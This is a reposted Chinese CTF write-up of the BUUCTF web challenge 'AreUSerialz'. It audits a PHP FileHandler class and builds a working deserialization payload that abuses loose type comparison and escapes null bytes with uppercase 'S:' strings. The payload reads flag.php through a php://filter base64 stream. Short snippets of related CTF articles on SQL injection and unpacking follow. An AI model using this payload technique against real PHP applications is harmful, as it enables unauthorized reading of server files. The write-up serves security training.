web:[网鼎杯 2020 青龙组]AreUSerialz

这篇具有很好参考价值的文章主要介绍了web:[网鼎杯 2020 青龙组]AreUSerialz。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

题目

web:[网鼎杯 2020 青龙组]AreUSerialz,BUUCTF-WEB,网络安全,web

点进题目发现

web:[网鼎杯 2020 青龙组]AreUSerialz,BUUCTF-WEB,网络安全,web

需要进行代码审计

function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

这里有__destruct()函数,在对象销毁时自动调用,根据$op属性的值进行一些操作,并重置属性的值,后再次调用process()方法,同时该函数会根据op变量值的不同,会相应调用读写函数

即op=="1",进入write方法,op=="2"进入read方法进行处理

总体解题思路为,构造反序列化给str变量,当主函数进行反序列化时,调用了FileHandler类,读取flag.php

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

接收到名为str的get参数,参数会被反序列化,并创建一个对象,在反序列化之前,会使用is_valid()函数对字符串进行验证,传入的string要是可见字符串ascii值为32-125

web:[网鼎杯 2020 青龙组]AreUSerialz,BUUCTF-WEB,网络安全,web

这里要构造op=2,要联想至上面的destruct方法,当op=2时会自动执行魔术方法_destruct,绕过if($this->op==="2")这条强类型判断,2===“2”为假(左边为数字int,右边为字符串string),会执行process方法,2==“2”为真,执行read方法,读取文件

注意成员变量是protected属性,会在变名前加%00*%00,注意is_valid方法,%00的ascii码为0,无法通过检查,需要绕过

绕过方法:

1.php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可

2.php的序列化字符串中只要把其中的s改成大写的S,后面的字符串就可以用十六进制表示

php伪协议进行读取

构造payload

<?php

class FileHandler
{

    public $op = 2;
    public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
//伪协议转化为base64读取,php代码无法直接读取
    public $content;

}
$A=new FileHandler();
$B=serialize($A);
echo $B;
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

web:[网鼎杯 2020 青龙组]AreUSerialz,BUUCTF-WEB,网络安全,web

直接传参得不到flag

反序列化完的结果看似没有包含0,但实际上有ascii码为0的

这里需要对$B进行两次替换操作

  • 使用 str_replace() 函数将字符串中的空字符(ASCII 值为 0)替换为 \00
  • 使用 str_replace() 函数将字符串中的 "s:" 替换为 "S:"。

构造payload

<?php

class FileHandler
{

    protected $op = 2;
    protected $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
    protected $content;

}
$A=new FileHandler();
$B=serialize($A);
$B = str_replace(chr(0), '\00', $B);
$B = str_replace('s:', 'S:', $B);
echo $B;
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:57:"php://filter/read=convert.base64-encode/resource=flag.php";S:10:"\00*\00content";N;}

传参可得

web:[网鼎杯 2020 青龙组]AreUSerialz,BUUCTF-WEB,网络安全,web

查看源码

web:[网鼎杯 2020 青龙组]AreUSerialz,BUUCTF-WEB,网络安全,web

解码可得

web:[网鼎杯 2020 青龙组]AreUSerialz,BUUCTF-WEB,网络安全,web

参考文章链接:

https://www.cnblogs.com/akger/p/15137082.html

第二届网鼎杯(青龙组)部分wp-安全客 - 安全资讯平台文章来源地址https://www.toymoban.com/news/detail-718854.html

到了这里,关于web:[网鼎杯 2020 青龙组]AreUSerialz的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 中国顶级CTF竞赛网络安全大赛--2022网鼎杯re2解题思路

    PEID查不出来,用了die,显示是UPX3.96的壳,用了脱壳机,脱不了,只能手动脱壳,拖入x64dbg,F9运行到程序领空,很明显的特征,push: 无脑使用ESP定律大法,对ESP下硬件访问断点: F9运行,在pop处停下: F4运行到下面第一个jmp,F8,进去又是一个jmp,继续F8,到达OEP: 使用x

    2023年04月22日
    浏览(31)
  • [网鼎杯 2018]Comment git泄露 / 恢复 二次注入 .DS_Store bash_history文件查看

    首先我们看到账号密码有提示了 我们bp爆破一下 我首先对数字爆破 因为全字符的话太多了 爆出来了哦 所以账号密码也出来了 没有什么用啊 扫一下吧 有git 那泄露看看 真有 原本的githack坏了 mirrors / BugScanTeam / GitHack · GitCode 重新下了一个 需要下载后 里面存在 .git文件夹 然后

    2024年02月06日
    浏览(25)
  • BUUCTF-WEB2

    1.启动靶机 2.寻找注入点和注入方法 随便输入一个字母,没有回显 随便输入一个数字,发现有回显,并且回显结果一样 3.堆叠注入 1; show databases;     #查看数据库 1; show tables;    #查看数据表 里面有个flag 1;set sql_mode=PIPES_AS_CONCAT;select 1 1; :这个部分是一个 SQL 查询的结束符

    2024年04月28日
    浏览(26)
  • BUUCTF-WEB-刷题记录

    代码理解 进入主页后发现是代码审计 / 解题 总的来说关注三行就够了,连起来可以这样理解: 创建一个目录名为orange+右上角的访客ip的MD5加密值 d a t a 接受 s h e l l 命令最后写入目录名 / data接受shell命令最后写入目录名/ d a t a 接受 s h e ll 命令最后写入目录名 / filename文件名里

    2024年02月07日
    浏览(32)
  • 青龙面板必装依赖以及青龙各种问题

    1、一键安装所有依赖 进入青龙面板 复制下面命令执行,等待执行完毕即可!注意你的青龙目录这里的目录为ql 1.一般出现这种错误:(缺依赖) Error: Cannot find module ‘xx’ 解决方法:docker exec -it 容器名 pnpm install xx 2.一般出现这种错误:(缺文件) Error: Cannot find module ‘./xx’ 解决

    2024年02月05日
    浏览(49)
  • 安卓安装termux运行青龙

    首先需要安装好ZeroTermux应用 执行以下命令 2.1 termux-setup-storage termux访问外部存储权限 2.2 ls -a 列出当前目录的列表信息 把你下载好的青龙面板恢复包(.tar.gz)放在手机内部存储目录中的xinhao/data路径下 回到ZeroTermux终端,开始恢复容器,名字任意 导入青龙恢复包 : 侧滑-备份

    2024年03月08日
    浏览(65)
  • 青龙面板7猫

    来自友友投稿 1.拉库 ​ 2,抓包 ​ ​根据友友提示,记得自己手动刷一下,这样稳定一点 ​  下面是搭建教程 首先介绍一下什么是青龙面板: 青龙面板是电脑上服务器的界面。   接下来向大家介绍一下青龙面板的搭建方法。 1,我们需要购买一台服务器,这里我们就介绍

    2023年04月16日
    浏览(62)
  • 青龙面板搭建教程

    好的,以下是使用云服务器搭建青龙面板的详细教程: 步骤一:购买云服务器 首先您需要前往云服务器的销售网站购买一台云服务器,在选择云服务器时,根据您的需求选择不同的配置方案。如果您只需要搭建一个小型的青龙面板,可以选择更为经济实惠的配置方案。 步骤

    2024年02月15日
    浏览(28)
  • 青龙面板脚本推荐

    前期如果搭建好青龙面板的童鞋可以去网上搞点脚本玩玩,这里我也分享几个现用的脚本。 脚本主要有: 饿了么(获取豆豆,可以换优惠券,但CK挺容易过期) 美团(获取一堆优惠券) 快手普通版(日常任务,换钱) 快手极速版(日常任务,换钱) 电信签到(日常任务)

    2024年02月04日
    浏览(42)
  • 青龙使用代理

    1.在服务器上配置好代理 取得ip以及端口   2.青龙可以在config中配置代理或者是环境变量 我个人喜欢在环境变量中添加 在容器bridge模式下,用172.17.0.1作为主机(默认情况) host模式下使用127.0.0.1 http_和https_proxy 这俩环境变量  python会自动读取并使用    nodejs则使用global-agent进行

    2024年02月07日
    浏览(29)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包